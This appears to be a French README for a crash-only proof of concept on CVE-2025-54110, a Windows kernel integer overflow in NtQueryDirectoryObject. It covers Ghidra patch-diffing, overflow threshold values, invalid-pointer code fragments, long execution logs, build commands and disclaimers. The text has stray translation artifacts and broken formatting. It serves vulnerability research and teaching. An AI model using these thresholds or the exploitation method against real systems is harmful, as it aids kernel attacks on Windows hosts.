
Date du projet : oct. 2025 / implémentation de PoC pour CVE-2025-54110, une vulnérabilité de débordement d'entier au niveau du noyau dans l'appel système Windows `NtQueryDirectoryObject`.
Implémentation PoC pour CVE-2025-54110, une vulnérabilité de débordement d'entier au niveau du noyau dans l'appel système Windows NtQueryDirectoryObject.
CVE : https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110
Ce dépôt contient un PoC crash-only pour la vulnérabilité EoP du noyau CVE-2025-54110, développé uniquement à des fins de recherche en sécurité, rétro-ingénierie et recherche en développement d'exploits. Ce code est destiné à montrer des techniques de recherche de vulnérabilités, notamment :
Ce PoC n'atteint PAS l'élévation de privilèges ni un BSOD fiable. Il est conçu pour déclencher en toute sécurité des violations d'accès qui sont interceptées par les protections du noyau Windows.
Date de publication : Septembre 2025 (correctif de sécurité du Patch Tuesday de Windows)
| Propriété | Valeur |
|---|---|
| CWE | CWE-190 : Débordement d'entier ou enroulement |
| Score CVSS 3.1 | 8.8 (Élevé) / 7.7 (Temporel) |
| Chaîne vectorielle | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:U/RL:O/RC:C |
| Vecteur d'attaque | Local |
| Complexité d'attaque | Faible |
| Privilèges requis | Faibles |
| Interaction utilisateur | Aucune |
| Portée | Modifiée |
| Confidentialité | Élevée |
| Intégrité | Élevée |
| Disponibilité | Élevée |
| Maturité de l'exploit | Non prouvée |
Une vulnérabilité de débordement d'entier dans le noyau Windows permet à un attaquant authentifié d'élever potentiellement ses privilèges localement. Selon l'avis de Microsoft :
"Un attaquant pourrait exploiter cette vulnérabilité en envoyant une entrée spécialement conçue depuis un processus en mode utilisateur en bac à sable pour déclencher un débordement d'entier, entraînant un débordement de tampon dans le noyau et permettant une élévation de privilèges ou une évasion du bac à sable."
Windows Update Files from Aug 2025 & Sep 2025 (KB.msu) ↓ Extract CAB Files ↓ Calculate SHA-256 Hashes (August vs September) ↓ Identify Changed Files ↓ Ghidra Version Tracking Analysis ↓ Setting Symbol Servers to Clarify Function Names ↓ Function-Level Diff Comparison
### 2. Fichiers analysés
L'analyse initiale s'est concentrée sur deux composants principaux du noyau :
#### win32k.sys (-)
- **Résultat :** Aucun changement significatif détecté
- **Plage de score :** 0.97-1.0 (haute similarité)
- **Conclusion :** Pas le composant vulnérable pour CVE-2025-54110
#### ntoskrnl.exe (+)
- **Résultat :** Plusieurs fonctions avec des changements significatifs
- **Plage de score :** Fonctions avec scores ≤0.951
- **Différences de longueur :** Variations de longueur en octets entre source et destination détectées
- **Nombre total d'éléments exportés :** 2 036 fonctions pour analyse
### 3. Résultats de suivi de version Ghidra
Exemple de changements identifiés dans `ntoskrnl.exe` :
| Score | Confiance | Longueur source | Longueur dest | Fonction source | Fonction dest |
|-------|-----------|-----------------|---------------|-----------------|---------------|
| 0.951 | 2.618 | 1023 | 365 | FUN_1403146d0 | FUN_1403a4ea0 |
| 0.950 | 2.285 | 113 | 203 | FUN_140680810 | FUN_1406d952c |
| 0.950 | 3.137 | 782 | 1050 | FUN_14032106c | FUN_140303a38 |
| 0.951 | 2.675 | 141 | 171 | FUN_140407bd0 | FUN_140a172a0 |
| 0.951 | 2.660 | 346 | 150 | FUN_140610e60 | FUN_1406115d4 |
---
## Déclaration de PoC
### Approche technique
Le PoC (`precise_overflow_bsod.c`) tente de déclencher la vulnérabilité de débordement d'entier via :
1. **Calcul précis du seuil :** `0xfffffdbc` (dérivé de base=0x20, name=0x200)
2. **API NtQueryDirectoryObject :** Fonction cible pour déclencher le débordement
3. **Stratégie d'attaque en plusieurs phases :**
- Phase 1 : Tentatives de débordement d'entier de précision
- Phase 2 : Ciblage de la mémoire du noyau
- Phase 3 : Exploitation multi-thread
### Structure du code```c
// Key threshold values calculated for overflow
ULONG precise_thresholds[] = {
0xfffffdbc, // Precise threshold - base=0x20, name=0x200
0xfffffdbb, // Threshold - 1
0xfffffdbd, // Threshold + 1
0xfffffdba, // Threshold - 2
0xfffffdbe, // Threshold + 2
};
// Buffer configurations to test edge cases
PVOID buffer_types[] = {
VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE), // Normal buffer
VirtualAlloc(NULL, 0x10, MEM_COMMIT, PAGE_READWRITE), // Small buffer
NULL, // NULL pointer
(PVOID)0x4141414141414141, // Invalid pointer
(PVOID)0x0000000000000000, // Zero address
};
NtQueryDirectoryObject() Parameters: ├── DirectoryHandle: \BaseNamedObjects, \KernelObjects, etc. ├── Buffer: Various pointer configurations ├── BufferLength: Calculated overflow thresholds (0xfffffdbc variants) ├── ReturnSingleEntry: TRUE/FALSE variations ├── RestartScan: TRUE/FALSE variations └── Context: Controlled iteration state
---
## Pourquoi le PoC ne fait pas planter le système
### Résultats réels
Le PoC retourne systématiquement `STATUS_ACCESS_VIOLATION (0xC0000005)` sans provoquer un écran bleu de la mort (BSOD). Cela est **voulu** et démontre plusieurs mécanismes critiques de sécurité du noyau Windows :
### 1. Gestion structurée des exceptions (SEH)```
User-Mode Input → NtQueryDirectoryObject
↓
ProbeForRead/Write
↓
__try { ... }
↓
Access Violation Detected
↓
__except { ... }
↓
Return STATUS_ACCESS_VIOLATION
Pourquoi ça fonctionne :
Fonctionnalité CPU moderne qui empêche le mode noyau (Ring 0) d'accéder à la mémoire en mode utilisateur (Ring 3) sans autorisation explicite :``` Kernel attempts to access user pointer ↓ SMAP checks permission (STAC/CLAC instructions) ↓ Unauthorized access detected ↓ CPU generates #PF (Page Fault) ↓ Caught by kernel exception handler
**Impact sur le PoC :**
- Même si un débordement se produit, l'accès direct à la mémoire du noyau depuis l'espace utilisateur est bloqué
- Empêche l'exploitation des vulnérabilités de déréférencement de pointeur
### 3. KASLR (Kernel Address Space Layout Randomization)```
Boot Time: Kernel Base = Random Address
↓
Hardcoded PoC address (0xfffffdbc)
↓
Does NOT match actual kernel structures
↓
Write to non-critical memory OR caught by SEH
Pourquoi le BSOD ne se produit pas :
Windows 10+ implémente une détection améliorée de la corruption du pool :``` Heap/Pool Allocation ↓ Header Contains: ├── Magic Values ├── Size Information └── Checksums ↓ On Free/Access: Validate Integrity ↓ Corruption Detected? ↓ [YES] → Safe Exception → Return Error [NO] → Proceed Normally
---
## Analyse de la sortie d'exécution du PoC
### Sortie attendue
Voyez le `STATUS_ACCESS_VIOLATION (0xC0000005)`, alors c'est bon.```
C:\Users\reLab\Desktop\cve>.\poc64.exe
==================================================
CVE-2025-54110 - Kernel Integer Overflow PoC
==================================================
[!] WARNING: This code may crash the system (BSOD).
[?] Do you want to continue? (y/n): y
[>] Targeting directory: \BaseNamedObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \KernelObjects
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Sessions
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[>] Targeting directory: \Windows
[*] Attempting precision integer overflow...
[+] Corruption detected with threshold: 0xFFFFFDBC (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBB (Status: 0xC0000005)
[+] Corruption detected with threshold: 0xFFFFFDBD (Status: 0xC0000005)
[!] Vulnerability triggered. Attempting to crash system via race condition...
[-] Exploit finished. If the system is still running, the attack may have been mitigated.
C:\Users\reLab\Desktop\cve>

[+] Current user: desktop-lfkkhu2\relab [+] Current PID: 1444
[!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [+] NT functions initialized successfully [+] Using precise threshold: 0xfffffdbc
[+] Exploiting all directories with precise threshold...
[+] Precision exploiting: \BaseNamedObjects [] Phase 1: Precision overflow [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=1, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=2, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [] Phase 2: Kernel memory targeting [+] Targeting kernel memory with precise threshold... [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBC: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBB: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [!] Kernel memory corruption with threshold 0xFFFFFDBD: 0xC0000005 [*] Phase 3: Multi-threaded BSOD [+] Triggering precision BSOD with calculated threshold... [+] Starting precise integer overflow exploitation... [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBC, buffer=0, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 ... [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=0, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=0 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=3, single=1, restart=1 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=0, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=0 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision attempt: threshold=0xFFFFFDBE, buffer=4, single=1, restart=1 [!] PRECISION OVERFLOW: threshold=0xFFFFFDBE, status=0xC0000005 [!] Precision overflow successful! [+] Starting multi-threaded precision attack...
### Comportement observé```
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBB, status=0xC0000005
[!] PRECISION OVERFLOW: threshold=0xFFFFFDBD, status=0xC0000005
Code d'état : 0xC0000005 = STATUS_ACCESS_VIOLATION
| Aspect | Interprétation |
|---|---|
| Confirmation de vulnérabilité | (+) Le chemin de code atteint la fonction vulnérable |
| Validation d'entrée | (!) Une entrée conçue déclenche un comportement anormal |
| Stabilité du système | (+) SEH empêche le crash ; le système reste stable |
| Réalisation de DoS | (-) Pas de BSOD ; gestion des exceptions réussie |
| Réalisation d'EoP | (-) Pas d'escalade de privilèges ; échec contrôlé |
┌─────────────────────────────────────────────────────────┐ │ Objective │ Status │ Explanation │ ├─────────────────────────────────────────────────────────┤ │ Vulnerability Research │ + │ Behavior change │ │ │ │ confirmed │ ├─────────────────────────────────────────────────────────┤ │ Learning Experience │ + │ Kernel protections │ │ │ │ demonstrated │ ├─────────────────────────────────────────────────────────┤ │ Crash (DoS/BSOD) │ - │ SEH prevented crash │ ├─────────────────────────────────────────────────────────┤ │ Privilege Escalation │ - │ No code execution │ │ │ │ achieved │ └─────────────────────────────────────────────────────────┘
---
## Valeur Pédagogique
### Ce que cette Preuve de Concept démontre
#### Résultats
1. **Méthodologie de comparaison de correctifs**
- Comparer les binaires avant/après correctif avec Ghidra
- Identifier les fonctions modifiées via le suivi de version
- Analyser les métriques de similarité basées sur les scores
2. **Architecture du noyau Windows**
- Comprendre le flux des appels système (`NtQueryDirectoryObject`)
- Reconnaître les frontières noyau/mode utilisateur
- Apprendre les fonctions internes de la NTAPI
3. **Comportement des mécanismes de sécurité**
- SEH en action : exception interceptée vs. plantage du système
- SMAP empêchant l'accès mémoire non autorisé
- KASLR contrecarrant l'exploitation par adresse statique
4. **Processus de recherche de vulnérabilités**
- Analyse de CVE et collecte d'informations
- Rétro-ingénierie des modifications binaires
- Test d'hypothèses via des tentatives d'exploitation contrôlées
#### Limites
1. **Les protections modernes du noyau sont efficaces**
- Les simples tentatives de dépassement sont insuffisantes
- Plusieurs couches de défense doivent être contournées
- L'analyse statique seule ne peut prédire l'exploitabilité
2. **Écart entre la théorie et la pratique**
- Le dépassement d'entier existe (théorique)
- L'exploitation pratique nécessite :
- Une divulgation d'information (fuite d'adresses du noyau)
- Du façonnage du tas / Feng Shui
- Des chaînes ROP ou autres primitives d'exécution de code
- Le contournement de DEP, CFG, HVCI, etc.
---
## Fonctions prioritaires pour l'analyse
Basé sur les caractéristiques de la CVE-2025-54110 (dépassement d'entier → dépassement de tampon dans le noyau), priorisez la revue des fonctions dans le CSV exporté qui gèrent :
### Catégories haute priorité```yaml
Integer/Size Calculations:
- Functions with arithmetic operations on buffer sizes
- Length calculation before allocation
- Checked vs. unchecked math operations
Buffer/Memory Operations:
- memcpy, memmove, RtlCopyMemory variants
- ExAllocatePool* family
- Buffer size validation routines
Object Directory Handling:
- NtQueryDirectoryObject and related helpers
- ObpLookupDirectoryEntry
- Object enumeration functions
User-Mode Interface:
- ProbeForRead/Write wrappers
- Input validation functions
- IOCTL handlers
Étape 1 : Filtre basé sur le score``` Score ≤ 0.951 AND (SourceLen ≠ DestLen)
**Étape 2: Recherche par mots-clés**```
Function names containing:
- "Directory", "Object", "Query"
- "Buffer", "Length", "Size"
- "Allocate", "Copy", "Validate"
- "Integer", "Overflow", "Wrap"
Étape 3 : Analyse de Références Croisées``` Functions called by NtQueryDirectoryObject: ObQueryNameString ObpEnumerateDirectory [Related helper functions]
**Étape 4: Changer l'amplitude**```
Prioritize functions with:
- Length difference > 100 bytes
- Confidence score 2.0-3.5 (moderate changes)
### Compilation```bash
# on x64 Native Tools CLI for VS 20xx
# Using Visual Studio
cl.exe /Fe:poc64.exe precise_overflow_bsod.c ntdll.lib
# or
cl poc.c /link /SUBSYSTEM:CONSOLE
[No content provided after "INPUT:" to translate.]```bash
gcc precise_overflow_bsod.c -o poc64.exe -lntdll
### Exécution```powershell
# Run with admin privileges
.\poc64.exe
Sortie attendue:``` [+] Current user: DESKTOP-XXXXXXX\user [+] Current PID: 1234 [!] THIS EXPLOIT HAS HIGH CHANCE OF CAUSING BSOD! [!] Continue? (y/n): y [!] PRECISION OVERFLOW: threshold=0xFFFFFDBC, status=0xC0000005 [+] System is still running - protections may be active.
---
## Ressources et Références
### Sources officielles
- [Avis de sécurité Microsoft - CVE-2025-54110](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54110)
- [CWE-190 : Dépassement d'entier ou renversement](https://cwe.mitre.org/data/definitions/190.html)
- [Internes du noyau Windows - Docs Microsoft](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/)
### Outils de recherche
- [Ghidra - Suite de rétro-ingénierie logicielle de la NSA](https://ghidra-sre.org/)
- [WinDbg - Outils de débogage Windows](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/)
### Lectures connexes
- [Développement d'exploits du noyau](https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/)
- [Exploitation du noyau Windows](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
- [Différenciation de correctifs avec Ghidra](https://www.youtube.com/watch?v=K83T7iVla5s)
---
## Avertissement juridique
Ce code est fourni à des fins ÉDUCATIVES UNIQUEMENT.
N'utilisez PAS ce code pour :
• Accès non autorisé aux systèmes informatiques
• Attaques malveillantes ou dommages
• Toute activité illégale
L'auteur n'assume AUCUNE responsabilité en cas d'utilisation abusive.
Les utilisateurs doivent se conformer à toutes les lois applicables.
**En utilisant ce code, vous reconnaissez :**
1. Vous avez l'autorisation de tester sur les systèmes cibles
2. Vous comprenez les implications juridiques dans votre juridiction
3. Vous acceptez l'entière responsabilité de vos actions
4. Ceci est pour l'apprentissage, pas pour des activités malveillantes
---
## Avertissement juridique
Ce dépôt est fourni strictement à des fins éducatives, de recherche en sécurité défensive et de reproduction de vulnérabilités dans des environnements de laboratoire contrôlés.
Les informations et le code de preuve de concept sont destinés à aider les défenseurs, les chercheurs et les fournisseurs à comprendre et à corriger la vulnérabilité signalée.
L'utilisation non autorisée ou malveillante de ce code contre des systèmes sans autorisation explicite peut violer les lois et réglementations applicables.
L'auteur n'encourage ni n'approuve les activités illégales et décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce matériel.
Ce rapport de divulgation de vulnérabilité est fourni pour :
1. Recherche et éducation en sécurité
2. Notification aux fournisseurs et développement de correctifs
3. Protection des utilisateurs finaux
4. Fins académiques et de sécurité défensive
**Utilisations interdites :**
- Accès non autorisé aux systèmes informatiques
- Exploitation malveillante
- Toute activité illégale
Le chercheur a effectué tous les tests sur des systèmes personnels dans des environnements contrôlés. Aucun accès non autorisé à des systèmes tiers n'a été effectué.
**Version du rapport :** 1.0
**Dernière mise à jour :** 9 février 2026
---
## Contact
Pour des demandes légitimes de recherche en sécurité ou une collaboration éducative :
**Divulgation responsable :**
- Problèmes de sécurité avec ce PoC → Ouvrir un Issue GitHub
- Exploitation réelle de CVE-2025-54110 → Signaler à [MSRC](https://msrc.microsoft.com/)
---
## Licence```
MIT License - See LICENSE file for details
Educational software provided "as is" without warranty.
Use at your own risk.